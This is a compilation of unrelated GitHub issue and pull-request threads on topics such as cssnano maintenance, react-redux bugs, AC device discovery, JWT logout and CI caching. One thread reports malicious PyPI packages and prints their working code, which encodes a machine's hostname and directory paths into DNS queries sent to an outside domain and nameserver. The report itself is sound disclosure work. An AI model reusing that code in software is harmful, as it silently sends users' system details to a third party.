Need solve problem with postcss-svgo and postcss-zindex. Also maybe we can move repo in cssnano org to avoid this problem in future.

@ai cssnano@4-rc* already monorepo (look in repo) :smile: . It is just idea. Priority to release stable cssnano@4

@ai friendly ping, request on permissions, thanks :+1:

@evilebottnawi I don’t have npm permissions fo postcss-svgo and postcss-zindex.
Do we need them for cssnano@4? I thought Ben Briggs moved them to monorepo.
If we need it, we can ask @TrySound to give us permission (or to accept our PR, if they are not part of cssnano).

@ai Yes we need permissions for postcss-svgo and postcss-zindex. They are part of cssnano https://github.com/ben-eb/cssnano/tree/master/packages/postcss-svgo and https://github.com/ben-eb/cssnano/tree/master/packages/postcss-zindex

@evilebottnawi npm access granted.

@TrySound Thanks!

/cc @ai friendly ping, need github and npm permission

@evilebottnawi Which ones?

@TrySound i can't close issue and merge PR, also can release cssnano in npm

@ben-eb can you share github access with evilebottnawi? I already did it in npm.

@TrySound @ben-eb is unavailable (he left open source), @ai and @chriseppstein have github permissions

@evilebottnawi I don’t have access too. I asked Ben Briggs by email.

@ai ping me when we resolve this problem, in my plans release 4 stable version in the middle of the month

@ai looks like we lose time, any ideas how we solve this if @ben-eb not answer

@evilebottnawi he was on gitter a few days ago. I believe he assigned @chriseppstein with the appropriate access rights.

@evilebottnawi Been Briggs answered me in Gitter

@ai what is answer? :smile:

He said that he will lock at weekend. I ping him again.

@chriseppstein @ai @ben-eb @TrySound thanks all for helping, problem solved, now i am contributor of cssnano :+1:
Due to the fact that I am alone, i will create PR and wait 72 hours before merging if no one will review/ask question/etc and will merge PR. If somebody want participate in review just says me here and i always will be request review from you. Thanks!

@evilebottnawi is everything going well to 4.0 release? I can send you developers from Cult of Martians.

@evilebottnawi to send a people from Cult I need a exact issues or exact steps to do

@ai List:

Update deps (https://github.com/ben-eb/cssnano/issues/447) to latest version where it is possible, some package can change public api and it is require fix usage in code.
https://github.com/ben-eb/cssnano/issues/448 - don't remove first declaration (aka fallback) is we using var(--foo).

I will analyze issues right now in cssnano and added new issue to this list. I will ping you when i done this work :+1:

@evilebottnawi perfect tasks for new developers. Will try to create Cult tasks today.

@ai i will update issues list :+1:

Guys it's great to see things are moving again. Thank you all for putting time and effort into this. It's often overlooked how hard it is to keep a project going without the original creator.
Thanks again!


Bisect check 3

CI gfxreconstruct build queued with queue ID 326426.

CI gfxreconstruct build # 5576 running.

CI gfxreconstruct build # 5576 passed.

passed


Team06 Review: Keep Requirements Free of Design Decisions

Make sure your functional requirements remain abstract and free from design decisions. The SRS document should focus on the what and not the how of the project. Below are some instances of requirements that I'd recommend rewording to make them more abstract.

[x] For example, instead of saying "it will have a tile interface" consider changing this requirement to "will display tasks icons on the main page representing different household tasks". Also, each requirement should represent one thing; consider splitting it into: (1) will display icons on the main page for each task type; (2) selecting a task icon will navigate the user to the task management page.

[x] Requirement TM3 starts to discuss specifics, like buttons and form fields. A fit criterion lets you check that the requirement has been satisfied, not how it will be satisfied. Something like "once a user creates a task, the same task and details can be viewed on the task management page" doesn't go into the design details and might be a better fit criterion.

[x] Try to keep it abstract, for example "Roommates are able to navigate to the scheduling page from the home interface" instead of including the how.

Great work! Looking forward to reviewing the rest of your team's documents.
Marking TA: @samm82

fixed


Enable remote config of additional IPs for servers

On closer inspection, I realized that loading the extra IPs in GoVpnAdapter would exclude them from the probes, which is a problem.  I've now moved the loading code so that the probes get the extra IPs too.
@alalamav Sorry, please re-review.

TBR: I updated the key generation code and added unit tests, after realizing that the firebase key syntax is more restrictive than I thought.

Please re-review for merge to master


Check the version of the installed platform and return the correct pa…

Check the version of the installed platform and return the correct path of the resources.
Bugfix issue #135

I found other errors during installation and cleaning

Having the same issue. How can we get an updated version of the plugin ?

I'm sorry, I create a new pull #137

ok. Can I install this new version in my ionic project ? How? tx.

I don't use ionic, but I think it is sufficient to execute the command:
cordova plugin add https://github.com/vash15/me.apla.cordova.app-preferences#master
to install the pull request

one step further since 'Installing "...app-preferences" for Android'  does'nt give error but now I get
UnhandledPromiseRejection ENOENT no such file for 'resources/screen' !!! ;-(

All errors fixed. Install is now 100% error free. tx.
ps: 'resources/screen' error had nothing to do with this plugin.


[5.5] Fix exception reporting for new feature

With the new ability for exceptions to have their own report & render functions - they still should honor the dontReport list?
Currently they will still report themselves, even if we told them not to.

:+1:


Authentication failed when running midea-discover

Hey,
I've been trying to add my Rotenso AC unit for few days now with different options and can't add it to HA.
The biggest issues - I think - is when trying to run midea-discover
This is my response:
INFO:msmart.cli:msmart version: 0.2.2 Currently only supports ac devices.
ERROR:msmart.security:authentication failed
ERROR:msmart.lan:Authentication failed for <IP_ADDRESS>:2583 -> <IP_ADDRESS>:6444 retries: 0 time: 0.05
ERROR:msmart.security:authentication failed
ERROR:msmart.lan:Authentication failed for <IP_ADDRESS>:2585 -> <IP_ADDRESS>:6444 retries: 0 time: 0.03
INFO:msmart.lan:Got TCP key for <IP_ADDRESS>:2583 -> <IP_ADDRESS>:6444 retries: 0 time: 0.45 ebe0b222823a7740dd31b342b0a65390f48dcd5dc3827ab66d9b49b172258a14
INFO:msmart.lan:Got TCP key for <IP_ADDRESS>:2585 -> <IP_ADDRESS>:6444 retries: 0 time: 0.28 1de136ccfe1877b0b90bd43071498c8a93a86c9ca10ef22054d8c1111f825028
INFO:msmart.cli:*** Found a device: ←[94m←[1m{'type': 'ac', 'support': True, 'version': 3, 'ip': '<IP_ADDRESS>', 'id': **ID**, 'port': 6444, 'token': '**TOKEN**', 'key': '**KEY**'

+The second devices data

The thing is when I run the midea-discover the second time I get different TOKEN and KEY. The rest of the data is the same.
Any ideas why this happens?
I've also tried using my credentials, but the same error happens

The token  or key has time information, so each request will be different.
token and key is reusable, just choose one, no need to repeat requests for.

I forgot to explain the issue authentication failed😂
Midea has 2 forms of udpid, it is not confirmed which one is suitable for the device, so it will be requested 2 times and 1 of them will fail
https://github.com/mac-zhou/midea-msmart/blob/f07e760dd69aee3a3340e80eeaf3bb391dc4161d/msmart/scanner.py#L57

I'll remove this log in the new version


shuffle should be set to True in train_loader of SinglePathTrainer

Brief description of your proposal if any:
in nni/nni/retiarii/oneshot/pytorch/random.py
Line 144:
self.train_loader = torch.utils.data.DataLoader(self.dataset_train,
batch_size=batch_size,
num_workers=workers)

->
self.train_loader = torch.utils.data.DataLoader(self.dataset_train,
batch_size=batch_size,
num_workers=workers,
shuffle=True)

Excellent. Please open a pull request for this.


Story with z-index element overlaps with controls popup

Describe the bug
If you set a z-index on an element within a story, and then click a button in the ladle header, an overlap is visible.
Reproduction
https://stackblitz.com/edit/ladle-jgjpzw?file=src%2Fbasic.stories.tsx,src%2Fcontrols.stories.tsx
1. Click controls button
2. Ensure preview is desktop
3. You will see an overlap
(You can also click any other button which opens a popup)
Environment
N/A

Appears related to https://github.com/tajo/ladle/issues/272, but a z-index hasn't been set on the actual popups.


Revert back to simple HTML and JS

This is because @Jangsoodlor can't handle React and was going insane.

🦵🦵🦵🦵🦵


Feature/model

Changed some folder structure, refactored a bit, added Dockerfile and documentation for the backend

LGTM !


Fixing #1950

This PR fixes #1950 and implements all bullet points.

Should we have at least one buildbot builder to test the static builds?

On 01/12/2016 03:10 PM, Hartmut Kaiser wrote:

Should we have at least one buildbot builder to test the static builds?

We probably should, yes.

—
Reply to this email directly or view it on GitHub
https://github.com/STEllAR-GROUP/hpx/pull/1957#issuecomment-170922488.

--
Thomas Heller
Friedrich-Alexander-Universität Erlangen-Nürnberg
Department Informatik - Lehrstuhl Rechnerarchitektur
Martensstr. 3
91058 Erlangen
Tel.: 09131/85-27018
Fax:  09131/85-27912
Email<EMAIL_ADDRESS>

I had a look through this patchset and it seems basically ok to me (though I didn't really check it all that thoroughly).
One thing that troubles me is the name hpx_add_target_compile_options - There is a CMake command which is add_target_compile_options, that takes as a first argument, the target to which you wish to add options. the hpx_add_target_options, does not take a target as argument - but rather applies the option to the hpx and hpx_init targets. It strikes me as odd.
Another minor point  is that the build test uses hpx_setup_target(blah), which I thought was made obsolete by these changes. Is that the case or am I mistaken.
Apart from the changes look ok.

Am 14.01.2016 6:50 nachm. schrieb "John Biddiscombe" <
<EMAIL_ADDRESS>
I had a look through this patchset and it seems basically ok to me
(though I didn't really check it all that thoroughly).
One thing that troubles me is the name hpx_add_target_compile_options -
There is a CMake command which is add_target_compile_options, that takes as
a first argument, the target to which you wish to add options. the
hpx_add_target_options, does not take a target as argument - but rather
applies the option to the hpx and hpx_init targets. It strikes me as odd.

The reason for the extra cmake macro is that at the time when
options/definitions are generated, the hpx and hpx_init target doesn't
exist yet.

Another minor point is that the build test uses hpx_setup_target(blah),
which I thought was made obsolete by these changes. Is that the case or am
I mistaken.

Not in this patch set. I decided to keep it around a little longer since
making sure everything works without the extra macros requires is a little
more work (most of the stuff works without it). So this will come after the
0.9.12 release.

Apart from the changes look ok.
—
Reply to this email directly or view it on GitHub.

The review commets have been addressed.

LGTM!


Compilation error at Elixir 1.8.1

Hello, I see a compilation error at Elixir 1.8.1. @on_load functions should be public.
** (CompileError) lib/nif.ex:1: expected @on_load function init/0 to be defined as "def", got "defp"
(stdlib) erl_eval.erl:680: :erl_eval.do_apply/6
(elixir) lib/kernel/parallel_compiler.ex:208: anonymous fn/4 in Kernel.ParallelCompiler.spawn_workers/6
If there are no problems, https://github.com/SoftwareMansion/elixir-xattr/pull/1 makes it so. Thank you for the library!

Great! Thanks for contribution :) I'll publish a new version in few days

@akhilpai https://hex.pm/packages/xattr/0.3.1 :)


owner(ticdc): remove ddl allow list support

What problem does this PR solve?

Issue Number: ref https://github.com/pingcap/tiflow/issues/6732
What is changed and how it works?
Remove ddl allow list support and update tests.
Check List
Tests

Unit test

Questions
Will it cause performance regression or break compatibility?
No
Do you need to update user documentation, design documentation or monitoring documentation?
No
Release note
None

Codecov Report

Merging #6743 (79eebf0) into master (2ea67ba) will decrease coverage by 4.6807%.
The diff coverage is 84.6534%.

Flag
Coverage Δ

cdc
?

dm
52.1065% <72.9729%> (+0.0648%)
:arrow_up:

engine
62.7647% <87.2727%> (+0.2286%)
:arrow_up:

Flags with carried forward coverage won't be shown. Click here to find out more.
@@               Coverage Diff                @@
##             master      #6743        +/-   ##
================================================
- Coverage   59.2138%   54.5331%   -4.6808%
================================================
  Files           780        416       -364
  Lines         88405      51631     -36774
================================================
- Hits          52348      28156     -24192
+ Misses        31415      20774     -10641
+ Partials       4642       2701      -1941


updating nugets & adding ios interpreter

Fixing issue from: https://github.com/dotnet/efcore/issues/22559
The iOS interpreter needs to be on for EF Core to work properly on device while in release mode.

Checking with @codemillmatt for clarification. If needed I will make the correction in #2689.

See PR #2702 - that will supersede this pull request. That one updates the linker behavior to its proper settings and has readme updates as well.


Trouble with nested arrays

Hi there.  Great library- thanks for making it!
We have a response that is structured as follows:
{
    "meta": {
        "executionTime": 0.044,
        "code": 200,
        "requestId": "c8f4df96-d8df-460a-bad6-b0e325029e28-WM-LGA",
        "responseTime": 0.044,
        "timestamp":<PHONE_NUMBER>,
    },
    "result": {
        "warnings": null,
        "errors": null,
        "pagination": null,
        "payload": [
            {
                "uuid": "58149996-a15a-4036-be86-6a3eb5d425dd",
                "createdOn": null,
                "updatedOn": null,
                "deletedOn": null,
            }
   }
}

We're using a default filter wrapper like this "meta,result{%s}", so any filters passed in get substituted in.
I cannot figure out how to filter within the payload array.  I've tried all sorts of things, including payload{uuid}, payload[uuid], payload.uuid, etc with no luck.  What am I missing?

Note the result of the examples I showed is just no filtering at all.

Could replace Squiggly initialization with the following substituting new ObjectMapper() with the object mapper you are using and then provide the result of the print statement?
Squiggly.init(new ObjectMapper(), new RequestSquigglyContextProvider() {
            @Override
            protected String customizeFilter(String filter, HttpServletRequest request, Class beanClass) {
                System.out.printf("Filter: %s, Bean Class: %s\n", filter, beanClass.getName());
                return super.customizeFilter(filter, request, beanClass);
            }
        });

We have a somewhat similar response format, except with one less level (e.g., instead of result.payload we just have payload). This means that if we wanted to filter on createdOn, our filter String would look like **,result[createdOn].
I'm guessing you could do accommodate your additional level by using **,result.payload[createdOn]. The key is the ** wildcard.

Yes.  You can use customizeFilter to automatically wrap the filter from the query string with ",result[]" so /some/url?fields=createdOn  becomes ",result[createdOn]".
Does this resolve your issue?

Yes, including "**," does actually resolve this...  Thank you very much!


Please add exclusion in sonar cloud scr/assets/locales/* for false alert duplication.

In our Simple data exchanger frontend, we have internationalisation for German and English languages.  So we have locale files for both the languages. Its ideally a object structure, whereas object keys will be the same but the values changes with translation. I think sonarcloud not considering the values of the object but only the keys. So its failing in main branch. Please add the respective person to this thread so that they can look into the project configuration.
You can check those two files here - https://sonarcloud.io/component_measures?id=catenax-ng_tx-dft-frontend&metric=new_duplicated_lines_density&view=list

Hi @adityagajbhiye9,
please on of our support template then our workflows will match "blank" issue are four out internen system team things 😉
modified sonar settings to
sonar.cpd.exclusions=src/assets/locales/**/main.json
info wildcard with only one * will Match zero or more characters ** Match zero or more directories

Closing this issue as it is blank issue


Extension Usage Telemetry

This is a feature request for basic extension usage telemetry.
Many platforms show app/extension developers basic statistics such as installs per day, uninstalls per day, daily active users, etc.
If it is done in the core product and made available to developers through the marketplace management dashboard, the data will benefit ALL extension developers while ensuring proper information and protections for users. If extension developers have to do this themselves, they may not all reach an appropriate level of security, anonymization, consent, or user notification.

👋 @seaniyer. I was talking to Isidor about VS Code extension metrics and he shared this issue and your contact. Having this in the marketplace would be useful for understanding adoption. I wanted to suggest a few other possible metrics for the team's consideration, which would also help track/understand adoption.

DAU/MAU ratio (daily active users over monthly active users)
Churn Rate (rate of people who used the extension for some time and uninstalled)
Bounce Rate (this could be measured as the number of people that see the extension page on the marketplace or inside VS Code but leave without installing)
Retention Rate (kind of the opposite of Churn Rate)
Install Growth Rate (how rapidly installs are increasing)


Component no longer updating with react-redux 6.0.0

Do you want to request a feature or report a bug?
Bug
What is the current behavior?
The current behavior is that my react component is not getting updated after I update the redux store.  In fact, mapStateToProps is not getting called except for the initial mount.
Here is a fairly minimal repo I set up that reproduces the issue: https://github.com/mjhoffm2/react-demo/tree/react-redux-bug-demo/node
In this demo, the ChannelList component dispatches a LOAD_CHANNELS action when it mounts, which updates channels in the redux store.  However, mapStateToProps doesn't get called a second time.  I need to force my component to remount by changing the key from the parent to see the updated data.
What is the expected behavior?
The expected behavior is that my component will be updated when the redux store is updated.  This works as intended if I switch to using react-redux 5.1.1, but does not work when I use version 6.0.0.  Even if I call this.forceUpdate(); in my component, it does not get the new data from the redux store.
Which versions of Redux, and which browser and OS are affected by this issue? Did this work in previous versions of Redux?
I am using Redux 4.0.0 and Google Chrome.  I have not tested previous versions of Redux, but this has worked with previous versions of React-Redux.

Hmm.  Code seems reasonable at first glance.  I'll try to take a look at this over the next day or two.

Same here

@agentcoop: please provide a sample project that demonstrates the issue.

I made a demo for the bug that I think @AgentCoop is talking about: https://github.com/mjhoffm2/react-demo/tree/react-redux-bug-demo-2/node
If you run the code in this branch, you can open your browser directly to http://localhost:3000/channels/1/view and you should see the channel list stuck in "loading...".  However, if you click one the close link or one of the close buttons, that will dispatch a route change action through connected-react-router which will cause the channel list to update.

Huh.  I'm looking at this, and I'm pretty confused.
Provider is clearly detecting that the state changed between first render and mount, and calling this.setState({storeState : postMountStoreState}).  It then re-renders.
But... the context consumer render callbacks in the connected components aren't firing at all when that re-render happens.
checking..
AHA!
You have mismatched versions of react and react-dom.  You're using<EMAIL_ADDRESS>but<EMAIL_ADDRESS>If I update both to react@latest react-dom@latest, then it works correctly.
**ALWAYS KEEP YOUR REACT VERSIONS IN SYNC!

Thanks a ton, I knew it had to be something simple that I overlooked.  I wish React printed a warning in the console if there is a version mismatch.

Agreed. Probably worth filing an issue over there to ask for it.

 React web app working fine, then I tried to apply redux in a new native app, not working, same problem as stated above ... for some reason, the repo was updated with latest React version, but the native version was asking for another version 😆
I even tried subscribing the store, working fine ... I couldnt understand what was going on ...
After a few hours and lots of interwebz searching, I found your answer, thanks a lot dude!

Hey, I had the same problem mapStateToProps doesn't get called a second time on production mode with Expo. This start happening to me with SDK33 having the correct versions of React and React-dom the problem was Redux-connect. I updated the dependency and now it is working :)


Multiple malware packages on PyPI

Following packages steal users info when install/import them
https://pypi.org/project/trippybhaiya/
https://pypi.org/project/nflx-kragle-scripts/
https://pypi.org/project/nflx-cloudsol-python-libs/
Trippybhaiya gathers infomation when installing (code in setup.py).
And the other two uploaded by Alex Birsan gathers infomation when importing the package (code in init.py).
Following is a piecewise of functions contained in nflx_kragle's "int.py" file.
PACKAGE = 'nflx_kragle'
SUFFIX = '.lol.0d'+'ay-se'+'curity.com';

NS = 'lol.0da'+'y-sec'+'urity.com';

def generate_id():
    return ''.join(random.choice(
        string.ascii_lowercase + string.digits) for _ in range(12)
    )

def get_hosts(data):

    data = binascii.hexlify(data.encode('utf-8'))
    data = [data[i:i+60] for i in range(0, len(data), 60)]

    data_id = generate_id()

    to_resolve = []
    for idx, chunk in enumerate(data):
        to_resolve.append(
            'v2_f.{}.{}.{}.v2_e{}'.format(
                data_id, idx, chunk.decode('ascii'), SUFFIX)
            )

    return to_resolve

def try_call(func, *args):
    try:
        return func(*args)
    except:
        return 'err'

data = {
    'p' : PACKAGE,
    'h' : try_call(socket.getfqdn),
    'd' : try_call(os.path.expanduser, '~'),
    'c' : try_call(os.getcwd)
}

data = json.dumps(data)

to_resolve = get_hosts(data)

for host in to_resolve:
    try:
        socket.gethostbyname(host)
    except:
        pass

to_resolve = get_hosts(data)
for host in to_resolve:

    os.system('nslookup {} {}'.format(host, NS))

Thank your for your report, these projects have been removed.


Update README.md

Change package name from react-native-interactable to react-native-keyguard

Any updates about 64bit support?


Cannot process a text file

When trying to process a single file to generate html, the program throws an error suggesting its not a text file.
python .\main.py .\examples\example2.txt

Suggestion:
The way you are checking for file extension could cause potential bugs

as there could be multiple dots in the file name.
Instead use
if(file.split(".")[-1] == "txt"):

Use -1 index instead of 1.

Ah strange, I could've sworn I had this in an earlier version, nonetheless, thanks for the catch. Fixed.


LogisticRegression infinite loop

When training on a dataset that has too many classes, e.g. Scikit's diabetes, smartcore::linear::logistic_regression::LogisticRegression runs into an infinite loop.
Reproducible example attached.
main.rs.txt

Thanks for your report.
Looks like there is a problem with this call:
let result = LogisticRegression::minimize(x0, objective);

Looks like this is not a bug, the particular computation just takes a lot of time in a single-CPU configuration to compute this loop
How long does it takes with a Python library?

Less than a second:
time python main.py
[200.]

real	0m0.390s
user	0m0.592s
sys	0m0.878s

Code attached (sorry, long file because formatting).
main.py.txt

The loop stops only after the limit of 1000 iterations is reached, so I suppose the algorithm is not doing its job correctly.
Could you confirm that this results are correct please:
lr.coefficients().shape() -> (214, 10)
lr.intercept().shape() -> (214, 1)
lr.coefficients().get(0, 0) -> 10.926448436791203
lr.intercept().get(0, 0) -> 20.061156556933966

This works with the new branch v0.5-wip, it is still a little slow but much better.
Probably we should move this into something Optimize Linear Regression performance

@levkk you can see your example working at https://github.com/smartcorelib/smartcore-jupyter/blob/main/notebooks/99-Test.ipynb


Initiate scroll from parent component to target within router-outlet component

I have a layout component with a <router-outlet> tag and a shared navbar. The navbar has links that should scroll to specific points within the current route's component. The links are populated using a shared service so the navbar knows whats can be linked to on the page.  I have something like the following to display the links:

{{link[1]}}

where quickLinks is an array of tuples containing the target ID tag and the display text.
When I try to click these links, I get an error that it cannot find the target to scroll to. I'm guessing this is because it lives in a different component.
Is it possible to achieve scrolling to targets within a the <router-outlet> tag?

Hi @entith,
the library checks the whole DOM tree for the target to scroll to. Thus it would also work with elements outside of any angular component.
Please double check that link[0] is a valid css selector (like #theId) and that a target with that exact ID is present in the current DOM tree.
If it still doesn't work, please consider creating a plunker to showcase the problem.

Hello @Nolanus,
I set up a Plunker with a basic recreation of our setup and it works fine. I have no idea what is the effective difference between it any our actual application.
I have taken to trying to step through the JS execution of this module to see if anything seemed off. I've been specifically looking through the PageScrollService.start() method, and as far as I can tell, it runs the same for my problem links and for some working test links I added (links that point to targets within the same component rather than targets in a nested route's component). PageScrollInstance properties like distanceToScroll and targetScrollPosition seem to be calculating correctly.
Do you have any insights or ideas where I could look more closely?
Note that I am running the beta4 version of this module. I cannot update yet as I'd need to update the version of Angular we're using (which won't be for a bit).
Thanks for your help.

Hi there, same issue here. My effective component hierarchy is as follows:
    <my-app>
        <app-header>
            </href>
        </app-header>
        <router-outlet>
            <my-component>

            </my-component>
         </router-outlet>
    </my-app>

As with the OP, stepping into the service start execution seems to suggest all the correct values are being calculated, and I also cannot recreate this in a plunker, only in a non-trivial application. My header component code is as follows:
    onScrollDownClicked() {
	const pageScrollInstance: PageScrollInstance = PageScrollInstance.simpleInstance(this.document, '#myTarget');
	this.pageScrollService.start(pageScrollInstance);
    }

There are no caught or uncaught errors, modules are imported and services injected correctly, it just appears to silently fail. I've checked the DOM to ensure I can find the target element by ID, it's visible on the page. Any help would be appreciated, thanks.

Quick update- mine turned out to be the use of "vh" units on my body tag to support a sticky footer.

You may always set PageScrollConfig._logLevel to 5 or higher to get verbose logging of the scroll positions in the console. This helps to identify whether it is a problem of starting the scroll animation or most likely a styling/DOM-structure issue (due to incorrect scrollingView element).

I've finally got this working on my end. The quickLinks variable I was looping through was a getter property. When I changed to to regular variable, it worked fine. No idea why this makes a difference.
// This does not work for some reason.
get quickLinks(): [string, string][] {
  return [
    ["#case", "Case"],
    ["#progressnotes", "Progress Notes"],
    ["#closing", "Closing"],
    ["#review", "Review"]
  ];
}

// This works without problems
quickLinks: [string, string][] = [
  ["#case", "Case"],
  ["#progressnotes", "Progress Notes"],
  ["#closing", "Closing"],
  ["#review", "Review"]
];

Quick note, it doesn't seem to like any function, doesn't matter if its a getter or not.

After a little testing it turns out the reason for that is the NgForOf component (you may fiddle around with that plunkr). It is based on instance comparison to identify changes. When using a function as source to iterate over, ngFor gets returned a new array every time the function runs and thus rebuilds the whole DOM structure. This results in the old links with pageScroll directive to be destroyed.
The pageScroll directive automatically stops the scroll animation once it gets destroyed. You may put a breakpoint into the ngOnDestroy() method in the pageScroll directive to see that happening.
Solutions: Make sure your function always returns the same array instance, which should be better for performance anyway, or use an array like @entith already pointed out.


[feat] Automate release tags

Does your feature request relate to a specific USWDS feature?
No, this is related to dev flow and releasing
Is your feature request related to a problem? Please describe.
Creating a release in GH, adding a tag that matches our new package.json version, and adding release notes matching our changelog is a manual step we could avoid.
Describe the solution you'd like
Whenever a release PR is merged to main automate:

add tag with the number from package.json version.
add release notes in GH.

Here are some github actions to test out:

Create Release **
Githug Tag Action
GitHub Create Tag Release

Describe alternatives you've considered

Allow  standard-version to add tags locally. Then,  instead of only publishing to npm locally after a merge, we could also push up tags -  git push --follow-tags origin main && npm publish
Just use semantic-release. This was the tool we wanted to use in #118.  Would still like to see us use this tool. I think the reason we held off was to be cautious which is probably good since we changed our dev flow a few times since then.

Once there is a way to npm publish in CI while meeting infra requirements  (with mfa) - we should probably reach for semantic-release instead of standard-version.

@haworku release-please actually does this for us now, so I believe this can be closed! (It creates the tag when the release branch is merged, e.g. https://github.com/trussworks/react-uswds/pull/2601#issuecomment-1741263708)


Version changed again

I use this library because it is a dependency of this HA integration today my ACs stopped working, I ended up finding that the version has changed to "1.15.0" could we have it updated?
Is there any chance this will be merged/improved to be merged?

same issue

I made a pull request #63


Find work button on the home page is not working

Clicking on the 'find work' button on the home page does nothing

done.


Fix android/osx job on ci - Error: reserveCache failed: Cache already exists.

Sometimes we have problem with Install Android SDK components step on CI.
      - name: Install Android SDK components
        uses: maxim-lobanov/setup-android-tools@v1
        with:
          cache: true
          packages: |
            platforms;android-${{ matrix.api }}
            build-tools;${{ matrix.build_tools }}
            ndk;${{ matrix.ndk }}
            cmake;${{ matrix.cmake }}
            system-images;android-${{ matrix.api }};${{ matrix.avd_image }};${{ matrix.avd_arch }}
            emulator

e.g. https://github.com/roc-streaming/roc-java/actions/runs/5083653562 :
Run maxim-lobanov/setup-android-tools@v1
Getting list of available components

Installing 'platforms;android-29'...
  Package is already installed and update is not required

Installing 'build-tools;28.0.3'...
  Package is already installed and update is not required

Installing 'ndk;[21](https://github.com/roc-streaming/roc-java/actions/runs/5083653562/jobs/9144799554#step:3:23).1.635[24](https://github.com/roc-streaming/roc-java/actions/runs/5083653562/jobs/9144799554#step:3:26)62'...
Trying to restore package from cache...
  Package is restored from cache

Installing 'cmake;<IP_ADDRESS>88404'...
Trying to restore package from cache...
  Package is restored from cache

Installing 'system-images;android-29;default;x86_64'...
Trying to restore package from cache...
  Package is restored from cache

Installing 'emulator'...
  Package is already installed but update is required
Trying to restore package from cache...
  No cache found
Trying to download package via sdkmanager...
  Package is downloaded and installed
Saving package to cache...
  Error: reserveCache failed: Cache already exists. Scope: refs/pull/115/merge, Key: emulator/32.1.13/macos12, Version: a9f019e19b66fa[27](https://github.com/roc-streaming/roc-java/actions/runs/5083653562/jobs/9144799554#step:3:29)731f9a30544c8c38d8e005fcc1[59](https://github.com/roc-streaming/roc-java/actions/runs/5083653562/jobs/9144799554#step:3:63)c97da1[75](https://github.com/roc-streaming/roc-java/actions/runs/5083653562/jobs/9144799554#step:3:80)fea90accf[79](https://github.com/roc-streaming/roc-java/actions/runs/5083653562/jobs/9144799554#step:3:84)1

I suppose that because we have 2 similar job that saves to cache the same thing

Fixed via #132 by migrating to another gh action.


Extensibility: Details view: Hide key if the value is empty from panels

Description
Changes proposed in this pull request:

As in issue.
Add more tests

Related issue(s)
Closes #1539

/retest


Need the ability to handle revoked tokens

Hi,
First time using FastAPI and your library. I come from Flask and I used flask-jwt-extended which had many nice to haves that are kind of missing (like @jwt_required, get_current_user, the current_user proxy, get_jti and many more) but more specifically to this issue, I would like to be able to validate if an access token is still valid or has been revoked.
For reference
https://flask-jwt-extended.readthedocs.io/en/stable/blocklist_and_token_revoking.html
I think it'd be a great addition !

You don't include any example on how to log out a user in your examples documentation: https://k4black.github.io/fastapi-jwt/user_guide/examples/
I would usually do it like so with Flask:
import logging
from typing import Optional

from flask_jwt_extended import get_jti

from nexus import settings
from nexus.utils.redis import get_redis_client

# TODO: Change this function to be either a normal logout or a force logout for all of the user's tokens
def do_logout_user(
    user_id: int, access_token: Optional[str] = None, refresh_token: Optional[str] = None, force_logout: bool = False
) -> None:
    logging.info(f"Logging out user {user_id}")
    redis_client = get_redis_client()
    if force_logout is False:
        if access_token is None or refresh_token is None:  # pragma: no cover
            raise ValueError("Access token and refresh token are required for a normal logout")
        elif access_token is not None and refresh_token is not None:
            access_jti = get_jti(access_token)
            refresh_jti = get_jti(refresh_token)
            redis_client.set(f"is_revoked_jti:{access_jti}|{user_id}", "true", settings.JWT_ACCESS_TOKEN_EXPIRES * 1.2)
            redis_client.set(f"is_revoked_jti:{refresh_jti}|{user_id}", "true", settings.JWT_ACCESS_TOKEN_EXPIRES * 1.2)
    else:
        # Use a pipeline to batch commands
        pipe = redis_client.pipeline()

        # Use scan to iteratively go through keys

        # Set cursor to -1 to start the first iteration
        cursor = 0
        pattern = f"is_revoked_jti:*|{user_id}"
        while True:
            cursor, keys = redis_client.scan(cursor=cursor, match=pattern, count=100)
            for key in keys:
                # Set the new value in the pipeline
                pipe.set(key, "true", settings.JWT_REFRESH_TOKEN_EXPIRES * 1.2)
            if cursor == 0:
                break
        # Execute all commands in the pipeline
        pipe.execute()
    logging.info(f"User {user_id} logged out")

import logging

from flask import Response
from flask import Blueprint
from flask import jsonify
from flask import request
from flask_utils import validate_params
from flask_jwt_extended import current_user
from flask_jwt_extended import decode_token
from flask_jwt_extended import jwt_required

from nexus.modules.auth import do_logout_user

auth_logout_v1_bp = Blueprint("auth_logout_v1_bp", __name__)

@auth_logout_v1_bp.route("/logout", methods=["POST"])
@validate_params({"access_token": str, "refresh_token": str})
def logout() -> Response:
    data = request.get_json()
    access_token = data["access_token"]
    refresh_token = data["refresh_token"]

    user_id = int(decode_token(access_token)["sub"]["id"])
    do_logout_user(user_id, access_token, refresh_token, force_logout=False)
    logging.info(f"Logout success for user {user_id}")

    ret = jsonify(
        {
            "message": "Successfully logged out.",
        }
    )
    ret.status_code = 200
    return ret

@auth_logout_v1_bp.route("/logout/force", methods=["POST"])
@jwt_required()
def force_logout() -> Response:
    do_logout_user(current_user.id, None, None, force_logout=True)
    logging.info(f"Force logout success for user {current_user.id}")
    ret = jsonify(
        {
            "message": "Successfully logged out.",
        }
    )
    ret.status_code = 200
    return ret

We definetly need something like this


How to run docker commands with env mentioned in the workflow?

Run garygrossgarten/github-action-ssh@release
Establishing a SSH connection to ***.
using provided private key
(node:1514) [DEP0005] DeprecationWarning: Buffer() is deprecated due to security and usability issues. Please use the Buffer.alloc(), Buffer.allocUnsafe(), or Buffer.from() methods instead.
🤝 Connected to ***.
Executing command: echo $DOCKER_TOKEN | docker login ghcr.io -u $USERNAME --password-stdin
docker pull $REGISTRY:$IMAGE_NAME
docker run -p 3000:3000 $REGISTRY:$IMAGE_NAME
Error: Cannot perform an interactive login from a non TTY device

invalid reference format

docker: invalid reference format.
See 'docker run --help'.

⚠ An error happened executing command echo $DOCKER_TOKEN | docker login ghcr.io -u $USERNAME --password-stdin
docker pull $REGISTRY:$IMAGE_NAME
docker run -p 3000:3000 $REGISTRY:$IMAGE_NAME. Command exited with code 125
Error: Command exited with code 125
 1: 0xa1a640 node::Abort() [/home/runner/runners/2.296.0/externals/node12/bin/node]
 2: 0xa90649  [/home/runner/runners/2.296.0/externals/node12/bin/node]
 3: 0xc06599  [/home/runner/runners/2.296.0/externals/node12/bin/node]
 4: 0xc08387 v8::internal::Builtin_HandleApiCall(int, unsigned long*, v8::internal::Isolate*) [/home/runner/runners/2.296.0/externals/node12/bin/node]
 5: 0x140dd19  [/home/runner/runners/2.296.0/externals/node12/bin/node]

I'm getting the above issue when I'm using the env variables mentioned in the workflow. And here is my workflow
